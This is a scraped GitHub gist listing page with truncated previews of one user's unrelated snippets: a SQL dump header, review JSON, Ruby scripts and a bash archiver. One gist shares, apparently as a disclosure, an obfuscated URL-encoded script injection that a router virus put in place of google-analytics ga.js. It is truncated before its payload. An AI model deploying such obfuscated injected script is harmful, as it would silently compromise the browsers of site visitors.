Skip to content

Instantly share code, notes, and snippets.

{
"type": [
"alternative"
],
"index": "alternatives",
"body": {
"size": 10,
"_source": [
"id"
],
@codesnik
codesnik / structure.sql
Created August 1, 2014 13:52
structure.sql
--
-- PostgreSQL database dump
--
SET statement_timeout = 0;
SET lock_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SET check_function_bodies = false;
SET client_min_messages = warning;
This file has been truncated, but you can view the full file.
[
{
"criteria": [
{
"review_sentences": [
{
"postmatch": "Our room was large and overlooked the lagoon complete with turtles , beach and the iconic Burj al Arab",
"match": "From the beginning we enjoyed excellent service as the staff fast tracked our room for us as we were jet lagged",
"prematch": "We were lucky enough to have 4 nights to experience the service , surrounds , views and food",
"score": 4.3
#!/usr/bin/ruby
variants = {}
headers = [ "рон", "цумо", "рон Восток", "цумо Восток"]
%W[
1-30 1000 1100 1500 1500
1-40 1300 1500 2000 2100
2-20 1300 1500 2000 2100
2-30 2000 2000 2900 3000
2-40 2600 2700 3900 3900
@codesnik
codesnik / resume.md
Created March 13, 2014 13:56
Résumé

test

foo | bar/damn | bax | | ----|-----|---- 123 | test bar | damn 12 || hey

#!/usr/bin/env ruby
require 'bundler'
Bundler.setup
require 'gmail'
Gmail.connect!('[email protected]', '...') do |gmail|
emails_count = gmail.inbox.emails.count
gmail.inbox.emails.each_with_index do |email|
puts "#{email.uid} / #{emails_count}"
File.open("mailbox/#{email.uid}", 'wb') do |f|
class FlightIndex
include CompactSAXMachine
elements :groupOfFlights do
elements :flightProposal do
element :ref
element :unitQualifier
end
@codesnik
codesnik / gist:4371208
Created December 25, 2012 00:57
www.google-analytics.com/ga.js replaced by unknown router virus
document.write(unescape("%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%70%2C%61%2C%63%2C%6B%2C%65%2C%72%29%7B%65%3D%66%75%6E%63%74%69%6F%6E%28%63%29%7B%72%65%74%75%72%6E%28%63%3C%61%3F%27%27%3A%65%28%70%61%72%73%65%49%6E%74%28%63%2F%61%29%29%29%2B%28%28%63%3D%63%25%61%29%3E%33%35%3F%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%2B%32%39%29%3A%63%2E%74%6F%53%74%72%69%6E%67%28%33%36%29%29%7D%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%63%2D%2D%29%72%5B%65%28%63%29%5D%3D%6B%5B%63%5D%7C%7C%65%28%63%29%3B%6B%3D%5B%66%75%6E%63%74%69%6F%6E%28%65%29%7B%72%65%74%75%72%6E%20%72%5B%65%5D%7D%5D%3B%65%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%63%3D%31%7D%3B%77%68%69%6C%65%28%63%2D%2D%29%69%66%28%6B%5B%63%5D%29%70%3D%70%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%65%28%63%29%2B%27%5C%5C%62
#!/bin/bash
cd /path/to/archive/root
mkdir `date +%y-%m-%d`
cd `date +%y-%m-%d`
wget ...